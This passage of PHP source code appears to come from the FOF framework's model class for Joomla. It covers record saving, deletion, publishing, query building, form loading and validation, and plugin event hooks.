$tableClass);
return $iterator;
}
/**
* A cross-breed between getItem and getItemList. It runs the complete
query,
* like getItemList does. However, instead of returning an array of ad-hoc
* objects, it binds the data from the first item fetched on the list to
an
* instance of the table object and returns that table object instead.
*
* @param boolean $overrideLimits Should I override set limits?
*
* @return FOFTable
*/
public function &getFirstItem($overrideLimits = false)
{
/**
* We have to clone the instance, or when multiple getFirstItem calls
occur,
* we'll update EVERY instance created
*/
$table = clone $this->getTable($this->table);
$list = $this->getItemList($overrideLimits);
if (!empty($list))
{
$firstItem = array_shift($list);
$table->bind($firstItem);
}
unset($list);
return $table;
}
/**
* Binds the data to the model and tries to save it
*
* @param array|object $data The source data array or object
*
* @return boolean True on success
*/
public function save($data)
{
$this->otable = null;
$table = $this->getTable($this->table);
if (is_object($data))
{
$data = clone($data);
}
$key = $table->getKeyName();
if (array_key_exists($key, (array) $data))
{
$aData = (array) $data;
$oid = $aData[$key];
$table->load($oid);
}
if ($data instanceof FOFTable)
{
$allData = $data->getData();
}
elseif (is_object($data))
{
$allData = (array) $data;
}
else
{
$allData = $data;
}
// Get the form if there is any
$form = $this->getForm($allData, false);
if ($form instanceof FOFForm)
{
// Make sure that $allData has for any field a key
$fieldset = $form->getFieldset();
foreach ($fieldset as $nfield => $fldset)
{
if (!array_key_exists($nfield, $allData))
{
$field = $form->getField($fldset->fieldname, $fldset->group);
$type = strtolower($field->type);
switch ($type)
{
case 'checkbox':
$allData[$nfield] = 0;
break;
default:
$allData[$nfield] = '';
break;
}
}
}
$serverside_validate =
strtolower($form->getAttribute('serverside_validate'));
$validateResult = true;
if (in_array($serverside_validate, array('true',
'yes', '1', 'on')))
{
$validateResult = $this->validateForm($form, $allData);
}
if ($validateResult === false)
{
if ($this->_savestate)
{
$session = JFactory::getSession();
$hash = $this->getHash() . 'savedata';
$session->set($hash, serialize($allData));
}
return false;
}
}
if (!$this->onBeforeSave($allData, $table))
{
if ($this->_savestate)
{
$session = JFactory::getSession();
$hash = $this->getHash() . 'savedata';
$session->set($hash, serialize($allData));
}
return false;
}
else
{
// If onBeforeSave successful, refetch the possibly modified data
if ($data instanceof FOFTable)
{
$data->bind($allData);
}
elseif (is_object($data))
{
$data = (object) $allData;
}
else
{
$data = $allData;
}
}
if (!$table->save($data))
{
foreach ($table->getErrors() as $error)
{
if (!empty($error))
{
$this->setError($error);
$session = JFactory::getSession();
$tableprops = $table->getProperties(true);
unset($tableprops['input']);
unset($tableprops['config']['input']);
unset($tableprops['config']['db']);
unset($tableprops['config']['dbo']);
if ($this->_savestate)
{
$hash = $this->getHash() . 'savedata';
$session->set($hash, serialize($tableprops));
}
}
}
return false;
}
else
{
$this->id = $table->$key;
// Remove the session data
if ($this->_savestate)
{
JFactory::getSession()->set($this->getHash() .
'savedata', null);
}
}
$this->onAfterSave($table);
$this->otable = $table;
return true;
}
/**
* Copy one or more records
*
* @return boolean True on success
*/
public function copy()
{
if (is_array($this->id_list) && !empty($this->id_list))
{
$table = $this->getTable($this->table);
if (!$this->onBeforeCopy($table))
{
return false;
}
if (!$table->copy($this->id_list))
{
$this->setError($table->getError());
return false;
}
else
{
// Call our internal event
$this->onAfterCopy($table);
// @todo Should we fire the content plugin?
}
}
return true;
}
/**
* Returns the table object after the last save() operation
*
* @return FOFTable
*/
public function getSavedTable()
{
return $this->otable;
}
/**
* Deletes one or several items
*
* @return boolean True on success
*/
public function delete()
{
if (is_array($this->id_list) && !empty($this->id_list))
{
$table = $this->getTable($this->table);
foreach ($this->id_list as $id)
{
if (!$this->onBeforeDelete($id, $table))
{
continue;
}
if (!$table->delete($id))
{
$this->setError($table->getError());
return false;
}
else
{
$this->onAfterDelete($id);
}
}
}
return true;
}
/**
* Toggles the published state of one or several items
*
* @param integer $publish The publishing state to set (e.g. 0 is
unpublished)
* @param integer $user The user ID performing this action
*
* @return boolean True on success
*/
public function publish($publish = 1, $user = null)
{
if (is_array($this->id_list) && !empty($this->id_list))
{
if (empty($user))
{
$oUser = FOFPlatform::getInstance()->getUser();
$user = $oUser->id;
}
$table = $this->getTable($this->table);
if (!$this->onBeforePublish($table))
{
return false;
}
if (!$table->publish($this->id_list, $publish, $user))
{
$this->setError($table->getError());
return false;
}
else
{
// Call our internal event
$this->onAfterPublish($table);
// Call the plugin events
FOFPlatform::getInstance()->importPlugin('content');
$name = $this->name;
$context = $this->option . '.' . $name;
// @TODO should we do anything with this return value?
$result =
FOFPlatform::getInstance()->runPlugins($this->event_change_state,
array($context, $this->id_list, $publish));
}
}
return true;
}
/**
* Checks out the current item
*
* @return boolean
*/
public function checkout()
{
$table = $this->getTable($this->table);
$status =
$table->checkout(FOFPlatform::getInstance()->getUser()->id,
$this->id);
if (!$status)
{
$this->setError($table->getError());
}
return $status;
}
/**
* Checks in the current item
*
* @return boolean
*/
public function checkin()
{
$table = $this->getTable($this->table);
$status = $table->checkin($this->id);
if (!$status)
{
$this->setError($table->getError());
}
return $status;
}
/**
* Tells you if the current item is checked out or not
*
* @return boolean
*/
public function isCheckedOut()
{
$table = $this->getTable($this->table);
$status = $table->isCheckedOut($this->id);
if (!$status)
{
$this->setError($table->getError());
}
return $status;
}
/**
* Increments the hit counter
*
* @return boolean
*/
public function hit()
{
$table = $this->getTable($this->table);
if (!$this->onBeforeHit($table))
{
return false;
}
$status = $table->hit($this->id);
if (!$status)
{
$this->setError($table->getError());
}
else
{
$this->onAfterHit($table);
}
return $status;
}
/**
* Moves the current item up or down in the ordering list
*
* @param string $dirn The direction and magnitude to use (2 means
move up by 2 positions, -3 means move down three positions)
*
* @return boolean True on success
*/
public function move($dirn)
{
$table = $this->getTable($this->table);
$id = $this->getId();
$status = $table->load($id);
if (!$status)
{
$this->setError($table->getError());
}
if (!$status)
{
return false;
}
if (!$this->onBeforeMove($table))
{
return false;
}
$status = $table->move($dirn);
if (!$status)
{
$this->setError($table->getError());
}
else
{
$this->onAfterMove($table);
}
return $status;
}
/**
* Reorders all items in the table
*
* @return boolean
*/
public function reorder()
{
$table = $this->getTable($this->table);
if (!$this->onBeforeReorder($table))
{
return false;
}
$status = $table->reorder($this->getReorderWhere());
if (!$status)
{
$this->setError($table->getError());
}
else
{
if (!$this->onAfterReorder($table))
{
return false;
}
}
return $status;
}
/**
* Get a pagination object
*
* @return JPagination
*/
public function getPagination()
{
if (empty($this->pagination))
{
// Import the pagination library
JLoader::import('joomla.html.pagination');
// Prepare pagination values
$total = $this->getTotal();
$limitstart = $this->getState('limitstart');
$limit = $this->getState('limit');
// Create the pagination object
$this->pagination = new JPagination($total, $limitstart, $limit);
}
return $this->pagination;
}
/**
* Get the number of all items
*
* @return integer
*/
public function getTotal()
{
if (is_null($this->total))
{
$query = $this->buildCountQuery();
if ($query === false)
{
$subquery = $this->buildQuery(false);
$subquery->clear('order');
$query = $this->_db->getQuery(true)
->select('COUNT(*)')
->from("(" . (string) $subquery . ") AS a");
}
$this->_db->setQuery((string) $query);
$this->total = $this->_db->loadResult();
}
return $this->total;
}
/**
* Returns a record count for the query
*
* @param string $query The query.
*
* @return integer Number of rows for query
*
* @since 12.2
*/
protected function _getListCount($query)
{
return $this->getTotal();
}
/**
* Get a filtered state variable
*
* @param string $key The name of the state variable
* @param mixed $default The default value to use
* @param string $filter_type Filter type
*
* @return mixed The variable's value
*/
public function getState($key = null, $default = null, $filter_type =
'raw')
{
if (empty($key))
{
return $this->_real_getState();
}
// Get the savestate status
$value = $this->_real_getState($key);
if (is_null($value))
{
$value = $this->getUserStateFromRequest($this->getHash() . $key,
$key, $value, 'none', $this->_savestate);
if (is_null($value))
{
return $default;
}
}
if (strtoupper($filter_type) == 'RAW')
{
return $value;
}
else
{
JLoader::import('joomla.filter.filterinput');
$filter = new JFilterInput;
return $filter->clean($value, $filter_type);
}
}
/**
* Method to get model state variables
*
* @param string $property Optional parameter name
* @param mixed $default Optional default value
*
* @return object The property where specified, the state object where
omitted
*
* @since 12.2
*/
protected function _real_getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
return $property === null ? $this->state :
$this->state->get($property, $default);
}
/**
* Returns a hash for this component and view, e.g.
"foobar.items.", used
* for determining the keys of the variables which will be placed in the
* session storage.
*
* @return string The hash
*/
public function getHash()
{
$option = $this->input->getCmd('option',
'com_foobar');
$view =
FOFInflector::pluralize($this->input->getCmd('view',
'cpanel'));
return "$option.$view.";
}
/**
* Gets the value of a user state variable.
*
* @param string $key The key of the user state variable.
* @param string $request The name of the variable passed in a
request.
* @param string $default The default value for the variable if
not found. Optional.
* @param string $type Filter for the variable, for valid
values see {@link JFilterInput::clean()}. Optional.
* @param boolean $setUserState Should I save the variable in the user
state? Default: true. Optional.
*
* @return string The request user state.
*/
protected function getUserStateFromRequest($key, $request, $default =
null, $type = 'none', $setUserState = true)
{
return FOFPlatform::getInstance()->getUserStateFromRequest($key,
$request, $this->input, $default, $type, $setUserState);
}
/**
* Returns an object list
*
* @param string $query The query
* @param integer $limitstart Offset from start
* @param integer $limit The number of records
* @param string $group The group by clause
*
* @return array Array of objects
*/
protected function &_getList($query, $limitstart = 0, $limit = 0,
$group = '')
{
$this->_db->setQuery($query, $limitstart, $limit);
$result = $this->_db->loadObjectList($group);
$this->onProcessList($result);
return $result;
}
/**
* Method to get a table object, load it if necessary.
*
* @param string $name The table name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $options Configuration array for model. Optional.
*
* @throws Exception
*
* @return FOFTable A FOFTable object
*/
public function getTable($name = '', $prefix = null, $options =
array())
{
if (empty($name))
{
$name = $this->table;
if (empty($name))
{
$name = FOFInflector::singularize($this->getName());
}
}
if (empty($prefix))
{
$bareComponent = str_replace('com_', '',
$this->option);
$prefix = ucfirst($bareComponent) . 'Table';
}
if (empty($options))
{
$options = array('input' => $this->input);
}
if ($table = $this->_createTable($name, $prefix, $options))
{
return $table;
}
FOFPlatform::getInstance()->raiseError(0,
JText::sprintf('JLIB_APPLICATION_ERROR_TABLE_NAME_NOT_SUPPORTED',
$name));
return null;
}
/**
* Method to load and return a model object.
*
* @param string $name The name of the view
* @param string $prefix The class prefix. Optional.
* @param array $config The configuration array to pass to the table
*
* @return FOFTable Table object or boolean false if failed
*/
protected function &_createTable($name, $prefix = 'Table',
$config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
$result = null;
// Clean the model name
$name = preg_replace('/[^A-Z0-9_]/i', '', $name);
$prefix = preg_replace('/[^A-Z0-9_]/i', '', $prefix);
// Make sure we are returning a DBO object
if (!array_key_exists('dbo', $config))
{
$config['dbo'] = $this->getDBO();
}
$instance = FOFTable::getAnInstance($name, $prefix, $config);
return $instance;
}
/**
* Creates the WHERE part of the reorder query
*
* @return string
*/
public function getReorderWhere()
{
return '';
}
/**
* Builds the SELECT query
*
* @param boolean $overrideLimits Are we requested to override the set
limits?
*
* @return FOFDatabaseQuery
*/
public function buildQuery($overrideLimits = false)
{
$table = $this->getTable();
$tableName = $table->getTableName();
$tableKey = $table->getKeyName();
$db = $this->getDbo();
$query = $db->getQuery(true);
// Call the behaviors
$self = $this; // Fix "Argument #1 ($model) must be passed by
reference, value given in"
$this->modelDispatcher->trigger('onBeforeBuildQuery',
array(&$self, &$query));
$alias = $this->getTableAlias();
if ($alias)
{
$alias = ' AS ' . $db->qn($alias);
}
else
{
$alias = '';
}
$select = $this->getTableAlias() ?
$db->qn($this->getTableAlias()) . '.*' :
$db->qn($tableName) . '.*';
$query->select($select)->from($db->qn($tableName) . $alias);
if (!$overrideLimits)
{
$order = $this->getState('filter_order', null,
'cmd');
if (!in_array($order, array_keys($table->getData())))
{
$order = $tableKey;
}
$order = $db->qn($order);
if ($alias)
{
$order = $db->qn($this->getTableAlias()) . '.' .
$order;
}
$dir = strtoupper($this->getState('filter_order_Dir',
'ASC', 'cmd'));
$dir = in_array($dir, array('DESC', 'ASC')) ? $dir :
'ASC';
// If the table cache is broken you may end up with an empty order by.
if (!empty($order) && ($order != $db->qn('')))
{
$query->order($order . ' ' . $dir);
}
}
// Call the behaviors
$this->modelDispatcher->trigger('onAfterBuildQuery',
array(&$self, &$query));
return $query;
}
/**
* Returns a list of the fields of the table associated with this model
*
* @return array
*/
public function getTableFields()
{
$tableName = $this->getTable()->getTableName();
if (version_compare(JVERSION, '3.0', 'ge'))
{
$fields = $this->getDbo()->getTableColumns($tableName, true);
}
else
{
$fieldsArray = $this->getDbo()->getTableFields($tableName, true);
$fields = array_shift($fieldsArray);
}
return $fields;
}
/**
* Get the alias set for this model's table
*
* @return string The table alias
*/
public function getTableAlias()
{
return $this->getTable($this->table)->getTableAlias();
}
/**
* Builds the count query used in getTotal()
*
* @return boolean
*/
public function buildCountQuery()
{
return false;
}
/**
* Clones the model object and returns the clone
*
* @return FOFModel
*/
public function &getClone()
{
$clone = clone($this);
return $clone;
}
/**
* Magic getter; allows to use the name of model state keys as properties
*
* @param string $name The name of the variable to get
*
* @return mixed The value of the variable
*/
public function __get($name)
{
return $this->getState($name);
}
/**
* Magic setter; allows to use the name of model state keys as properties
*
* @param string $name The name of the variable
* @param mixed $value The value to set the variable to
*
* @return void
*/
public function __set($name, $value)
{
return $this->setState($name, $value);
}
/**
* Magic caller; allows to use the name of model state keys as methods to
* set their values.
*
* @param string $name The name of the state variable to set
* @param mixed $arguments The value to set the state variable to
*
* @return FOFModel Reference to self
*/
public function __call($name, $arguments)
{
$arg1 = array_shift($arguments);
$this->setState($name, $arg1);
return $this;
}
/**
* Sets the model state auto-save status. By default the model is set up
to
* save its state to the session.
*
* @param boolean $newState True to save the state, false to not save
it.
*
* @return FOFModel Reference to self
*/
public function &savestate($newState)
{
$this->_savestate = $newState ? true : false;
return $this;
}
/**
* Initialises the _savestate variable
*
* @param integer $defaultSaveState The default value for the
savestate
*
* @return void
*/
public function populateSavestate($defaultSaveState = -999)
{
if (is_null($this->_savestate))
{
$savestate = $this->input->getInt('savestate',
$defaultSaveState);
if ($savestate == -999)
{
$savestate = true;
}
$this->savestate($savestate);
}
}
/**
* Method to auto-populate the model state.
*
* This method should only be called once per instantiation and is
designed
* to be called on the first call to the getState() method unless the
model
* configuration flag to ignore the request is set.
*
* @return void
*
* @note Calling getState in this method will result in recursion.
* @since 12.2
*/
protected function populateState()
{
}
/**
* Applies view access level filtering for the specified user. Useful to
* filter a front-end items listing.
*
* @param integer $userID The user ID to use. Skip it to use the
currently logged in user.
*
* @return FOFModel Reference to self
*/
public function applyAccessFiltering($userID = null)
{
$user = FOFPlatform::getInstance()->getUser($userID);
$table = $this->getTable();
$accessField = $table->getColumnAlias('access');
$this->setState($accessField, $user->getAuthorisedViewLevels());
return $this;
}
/**
* A method for getting the form from the model.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param boolean $source The name of the form. If not set
we'll try the form_name state variable or fall back to default.
*
* @return mixed A FOFForm object on success, false on failure
*
* @since 2.0
*/
public function getForm($data = array(), $loadData = true, $source = null)
{
$this->_formData = $data;
if (empty($source))
{
$source = $this->getState('form_name', null);
}
if (empty($source))
{
$source = 'form.' . $this->name;
}
$name = $this->input->getCmd('option',
'com_foobar') . '.' . $this->name . '.' .
$source;
$options = array(
'control' => false,
'load_data' => $loadData,
);
$this->onBeforeLoadForm($name, $source, $options);
$form = $this->loadForm($name, $source, $options);
if ($form instanceof FOFForm)
{
$this->onAfterLoadForm($form, $name, $source, $options);
}
return $form;
}
/**
* Method to get a form object.
*
* @param string $name The name of the form.
* @param string $source The form filename (e.g.
form.browse)
* @param array $options Optional array of options for
the form creation.
* @param boolean $clear Optional argument to force load
a new form.
* @param bool|string $xpath An optional xpath to search for
the fields.
*
* @return mixed FOFForm object on success, False on error.
*
* @throws Exception
*
* @see FOFForm
* @since 2.0
*/
protected function loadForm($name, $source, $options = array(), $clear =
false, $xpath = false)
{
// Handle the optional arguments.
$options['control'] = isset($options['control']) ?
$options['control'] : false;
// Create a signature hash.
$hash = md5($source . serialize($options));
// Check if we can use a previously loaded form.
if (isset($this->_forms[$hash]) && !$clear)
{
return $this->_forms[$hash];
}
// Try to find the name and path of the form to load
$formFilename = $this->findFormFilename($source);
// No form found? Quit!
if ($formFilename === false)
{
return false;
}
// Set up the form name and path
$source = basename($formFilename, '.xml');
FOFForm::addFormPath(dirname($formFilename));
// Set up field paths
$option = $this->input->getCmd('option',
'com_foobar');
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($option);
$view = $this->name;
$file_root = $componentPaths['main'];
$alt_file_root = $componentPaths['alt'];
FOFForm::addFieldPath($file_root . '/fields');
FOFForm::addFieldPath($file_root . '/models/fields');
FOFForm::addFieldPath($alt_file_root . '/fields');
FOFForm::addFieldPath($alt_file_root . '/models/fields');
FOFForm::addHeaderPath($file_root . '/fields/header');
FOFForm::addHeaderPath($file_root . '/models/fields/header');
FOFForm::addHeaderPath($alt_file_root . '/fields/header');
FOFForm::addHeaderPath($alt_file_root .
'/models/fields/header');
// Get the form.
try
{
$form = FOFForm::getInstance($name, $source, $options, false, $xpath);
if (isset($options['load_data']) &&
$options['load_data'])
{
// Get the data for the form.
$data = $this->loadFormData();
}
else
{
$data = array();
}
// Allows data and form manipulation before preprocessing the form
$this->onBeforePreprocessForm($form, $data);
// Allow for additional modification of the form, and events to be
triggered.
// We pass the data because plugins may require it.
$this->preprocessForm($form, $data);
// Allows data and form manipulation After preprocessing the form
$this->onAfterPreprocessForm($form, $data);
// Load the data into the form after the plugins have operated.
$form->bind($data);
}
catch (Exception $e)
{
// The above try-catch statement will catch EVERYTHING, even
PhpUnit exceptions while testing
if(stripos(get_class($e), 'phpunit') !== false)
{
throw $e;
}
else
{
$this->setError($e->getMessage());
return false;
}
}
// Store the form for later.
$this->_forms[$hash] = $form;
return $form;
}
/**
* Guesses the best candidate for the path to use for a particular form.
*
* @param string $source The name of the form file to load, without
the .xml extension.
* @param array $paths The paths to look into. You can declare this
to override the default FOF paths.
*
* @return mixed A string if the path and filename of the form to load
is found, false otherwise.
*
* @since 2.0
*/
public function findFormFilename($source, $paths = array())
{
// TODO Should we read from internal variables instead of the
input? With a temp instance we have no input
$option = $this->input->getCmd('option',
'com_foobar');
$view = $this->name;
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($option);
$file_root = $componentPaths['main'];
$alt_file_root = $componentPaths['alt'];
$template_root =
FOFPlatform::getInstance()->getTemplateOverridePath($option);
if (empty($paths))
{
// Set up the paths to look into
// PLEASE NOTE: If you ever change this, please update Model
Unit tests, too, since we have to
// copy these default folders (we have to add the protocol for
the virtual filesystem)
$paths = array(
// In the template override
$template_root . '/' . $view,
$template_root . '/' . FOFInflector::singularize($view),
$template_root . '/' . FOFInflector::pluralize($view),
// In this side of the component
$file_root . '/views/' . $view . '/tmpl',
$file_root . '/views/' . FOFInflector::singularize($view) .
'/tmpl',
$file_root . '/views/' . FOFInflector::pluralize($view) .
'/tmpl',
// In the other side of the component
$alt_file_root . '/views/' . $view . '/tmpl',
$alt_file_root . '/views/' . FOFInflector::singularize($view)
. '/tmpl',
$alt_file_root . '/views/' . FOFInflector::pluralize($view) .
'/tmpl',
// In the models/forms of this side
$file_root . '/models/forms',
// In the models/forms of the other side
$alt_file_root . '/models/forms',
);
}
$paths = array_unique($paths);
// Set up the suffixes to look into
$suffixes = array();
$temp_suffixes = FOFPlatform::getInstance()->getTemplateSuffixes();
if (!empty($temp_suffixes))
{
foreach ($temp_suffixes as $suffix)
{
$suffixes[] = $suffix . '.xml';
}
}
$suffixes[] = '.xml';
// Look for all suffixes in all paths
$result = false;
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
foreach ($paths as $path)
{
foreach ($suffixes as $suffix)
{
$filename = $path . '/' . $source . $suffix;
if ($filesystem->fileExists($filename))
{
$result = $filename;
break;
}
}
if ($result)
{
break;
}
}
return $result;
}
/**
* Method to get the data that should be injected in the form.
*
* @return array The default data is an empty array.
*
* @since 2.0
*/
protected function loadFormData()
{
if (empty($this->_formData))
{
return array();
}
else
{
return $this->_formData;
}
}
/**
* Method to allow derived classes to preprocess the form.
*
* @param FOFForm $form A FOFForm object.
* @param mixed &$data The data expected for the form.
* @param string $group The name of the plugin group to import
(defaults to "content").
*
* @return void
*
* @see FOFFormField
* @since 2.0
* @throws Exception if there is an error in the form event.
*/
protected function preprocessForm(FOFForm &$form, &$data, $group =
'content')
{
// Import the appropriate plugin group.
FOFPlatform::getInstance()->importPlugin($group);
// Trigger the form preparation event.
$results =
FOFPlatform::getInstance()->runPlugins('onContentPrepareForm',
array($form, $data));
// Check for errors encountered while preparing the form.
if (count($results) && in_array(false, $results, true))
{
// Get the last error.
$dispatcher = FOFUtilsObservableDispatcher::getInstance();
$error = $dispatcher->getError();
if (!($error instanceof Exception))
{
throw new Exception($error);
}
}
}
/**
* Method to validate the form data.
*
* @param FOFForm $form The form to validate against.
* @param array $data The data to validate.
* @param string $group The name of the field group to validate.
*
* @return mixed Array of filtered data if valid, false otherwise.
*
* @see JFormRule
* @see JFilterInput
* @since 2.0
*/
public function validateForm($form, $data, $group = null)
{
// Filter and validate the form data.
$data = $form->filter($data);
$return = $form->validate($data, $group);
// Check for an error.
if ($return instanceof Exception)
{
$this->setError($return->getMessage());
return false;
}
// Check the validation results.
if ($return === false)
{
// Get the validation messages from the form.
foreach ($form->getErrors() as $message)
{
if ($message instanceof Exception)
{
$this->setError($message->getMessage());
}
else
{
$this->setError($message);
}
}
return false;
}
return $data;
}
/**
* Allows the manipulation before the form is loaded
*
* @param string &$name The name of the form.
* @param string &$source The form source. Can be XML string if
file flag is set to false.
* @param array &$options Optional array of options for the form
creation.
* @codeCoverageIgnore
*
* @return void
*/
public function onBeforeLoadForm(&$name, &$source, &$options)
{
}
/**
* Allows the manipulation after the form is loaded
*
* @param FOFForm $form A FOFForm object.
* @param string &$name The name of the form.
* @param string &$source The form source. Can be XML string if
file flag is set to false.
* @param array &$options Optional array of options for the form
creation.
* @codeCoverageIgnore
*
* @return void
*/
public function onAfterLoadForm(FOFForm &$form, &$name,
&$source, &$options)
{
}
/**
* Allows data and form manipulation before preprocessing the form
*
* @param FOFForm $form A FOFForm object.
* @param array &$data The data expected for the form.
* @codeCoverageIgnore
*
* @return void
*/
public function onBeforePreprocessForm(FOFForm &$form, &$data)
{
}
/**
* Allows data and form manipulation after preprocessing the form
*
* @param FOFForm $form A FOFForm object.
* @param array &$data The data expected for the form.
* @codeCoverageIgnore
*
* @return void
*/
public function onAfterPreprocessForm(FOFForm &$form, &$data)
{
}
/**
* This method can be overridden to automatically do something with the
* list results array. You are supposed to modify the list which was
passed
* in the parameters; DO NOT return a new array!
*
* @param array &$resultArray An array of objects, each row
representing a record
*
* @return void
*/
protected function onProcessList(&$resultArray)
{
}
/**
* This method runs after an item has been gotten from the database in a
read
* operation. You can modify it before it's returned to the MVC triad
for
* further processing.
*
* @param FOFTable &$record The table instance we fetched
*
* @return void
*/
protected function onAfterGetItem(&$record)
{
try
{
// Call the behaviors
$self = $this;
$result =
$this->modelDispatcher->trigger('onAfterGetItem',
array(&$self, &$record));
}
catch (Exception $e)
{
// Oops, an exception occurred!
$this->setError($e->getMessage());
}
}
/**
* This method runs before the $data is saved to the $table. Return false
to
* stop saving.
*
* @param array &$data The data to save
* @param FOFTable &$table The table to save the data to
*
* @return boolean Return false to prevent saving, true to allow it
*/
protected function onBeforeSave(&$data, &$table)
{
// Let's import the plugin only if we're not in CLI (content
plugin needs a user)
FOFPlatform::getInstance()->importPlugin('content');
try
{
// Do I have a new record?
$key = $table->getKeyName();
$pk = (!empty($data[$key])) ? $data[$key] : 0;
$this->_isNewRecord = $pk <= 0;
// Bind the data
$table->bind($data);
// Call the behaviors
$self = $this;
$result =
$this->modelDispatcher->trigger('onBeforeSave',
array(&$self, &$data));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
// Call the plugin
$name = $this->name;
$result =
FOFPlatform::getInstance()->runPlugins($this->event_before_save,
array($this->option . '.' . $name, &$table,
$this->_isNewRecord));
if (in_array(false, $result, true))
{
// Plugin failed, return false
$this->setError($table->getError());
return false;
}
}
catch (Exception $e)
{
// Oops, an exception occurred!
$this->setError($e->getMessage());
return false;
}
return true;
}
/**
* This method runs after the data is saved to the $table.
*
* @param FOFTable &$table The table which was saved
*
* @return boolean
*/
protected function onAfterSave(&$table)
{
// Let's import the plugin only if we're not in CLI (content
plugin needs a user)
FOFPlatform::getInstance()->importPlugin('content');
try
{
// Call the behaviors
$self = $this;
$result = $this->modelDispatcher->trigger('onAfterSave',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
$name = $this->name;
FOFPlatform::getInstance()->runPlugins($this->event_after_save,
array($this->option . '.' . $name, &$table,
$this->_isNewRecord));
return true;
}
catch (Exception $e)
{
// Oops, an exception occurred!
$this->setError($e->getMessage());
return false;
}
}
/**
* This method runs before the record with key value of $id is deleted
from $table
*
* @param integer &$id The ID of the record being deleted
* @param FOFTable &$table The table instance used to delete the
record
*
* @return boolean
*/
protected function onBeforeDelete(&$id, &$table)
{
// Let's import the plugin only if we're not in CLI (content
plugin needs a user)
FOFPlatform::getInstance()->importPlugin('content');
try
{
$table->load($id);
// Call the behaviors
$self = $this;
$result =
$this->modelDispatcher->trigger('onBeforeDelete',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
$name = $this->name;
$context = $this->option . '.' . $name;
$result =
FOFPlatform::getInstance()->runPlugins($this->event_before_delete,
array($context, $table));
if (in_array(false, $result, true))
{
// Plugin failed, return false
$this->setError($table->getError());
return false;
}
$this->_recordForDeletion = clone $table;
}
catch (Exception $e)
{
// Oops, an exception occurred!
$this->setError($e->getMessage());
return false;
}
return true;
}
/**
* This method runs after a record with key value $id is deleted
*
* @param integer $id The id of the record which was deleted
*
* @return boolean Return false to raise an error, true otherwise
*/
protected function onAfterDelete($id)
{
FOFPlatform::getInstance()->importPlugin('content');
// Call the behaviors
$self = $this;
$result =
$this->modelDispatcher->trigger('onAfterDelete',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
try
{
$name = $this->name;
$context = $this->option . '.' . $name;
$result =
FOFPlatform::getInstance()->runPlugins($this->event_after_delete,
array($context, $this->_recordForDeletion));
unset($this->_recordForDeletion);
}
catch (Exception $e)
{
// Oops, an exception occurred!
$this->setError($e->getMessage());
return false;
}
}
/**
* This method runs before a record is copied
*
* @param FOFTable &$table The table instance of the record being
copied
*
* @return boolean True to allow the copy
*/
protected function onBeforeCopy(&$table)
{
// Call the behaviors
$self = $this;
$result = $this->modelDispatcher->trigger('onBeforeCopy',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
return true;
}
/**
* This method runs after a record has been copied
*
* @param FOFTable &$table The table instance of the record which
was copied
*
* @return boolean True to allow the copy
*/
protected function onAfterCopy(&$table)
{
// Call the behaviors
$self = $this;
$result = $this->modelDispatcher->trigger('onAfterCopy',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
return true;
}
/**
* This method runs before a record is published
*
* @param FOFTable &$table The table instance of the record being
published
*
* @return boolean True to allow the operation
*/
protected function onBeforePublish(&$table)
{
// Call the behaviors
$self = $this;
$result =
$this->modelDispatcher->trigger('onBeforePublish',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
return true;
}
/**
* This method runs after a record has been published
*
* @param FOFTable &$table The table instance of the record which
was published
*
* @return boolean True to allow the operation
*/
protected function onAfterPublish(&$table)
{
// Call the behaviors
$self = $this;
$result =
$this->modelDispatcher->trigger('onAfterPublish',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
return true;
}
/**
* This method runs before a record is hit
*
* @param FOFTable &$table The table instance of the record being
hit
*
* @return boolean True to allow the operation
*/
protected function onBeforeHit(&$table)
{
// Call the behaviors
$self = $this;
$result = $this->modelDispatcher->trigger('onBeforeHit',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
return true;
}
/**
* This method runs after a record has been hit
*
* @param FOFTable &$table The table instance of the record which
was hit
*
* @return boolean True to allow the operation
*/
protected function onAfterHit(&$table)
{
// Call the behaviors
$self = $this;
$result = $this->modelDispatcher->trigger('onAfterHit',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
return true;
}
/**
* This method runs before a record is moved
*
* @param FOFTable &$table The table instance of the record being
moved
*
* @return boolean True to allow the operation
*/
protected function onBeforeMove(&$table)
{
// Call the behaviors
$self = $this;
$result = $this->modelDispatcher->trigger('onBeforeMove',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
return true;
}
/**
* This method runs after a record has been moved
*
* @param FOFTable &$table The table instance of the record which
was moved
*
* @return boolean True to allow the operation
*/
protected function onAfterMove(&$table)
{
// Call the behaviors
$self = $this;
$result = $this->modelDispatcher->trigger('onAfterMove',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
return true;
}
/**
* This method runs before a table is reordered
*
* @param FOFTable &$table The table instance being reordered
*
* @return boolean True to allow the operation
*/
protected function onBeforeReorder(&$table)
{
// Call the behaviors
$self = $this;
$result =
$this->modelDispatcher->trigger('onBeforeReorder',
array(&$self));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
return true;
}
/**
* This method runs after a table is reordered
*
* @param FOFTable &$table The table instance which was reordered
*
* @return boolean True to allow the operation
*/
protected function onAfterReorder(&$table)
{
// Call the behaviors
$self = $this;
$result =
$this->modelDispatcher->trigger('onAfterReorder',
array(&$self));
if (in_array(false, $result, true))
{
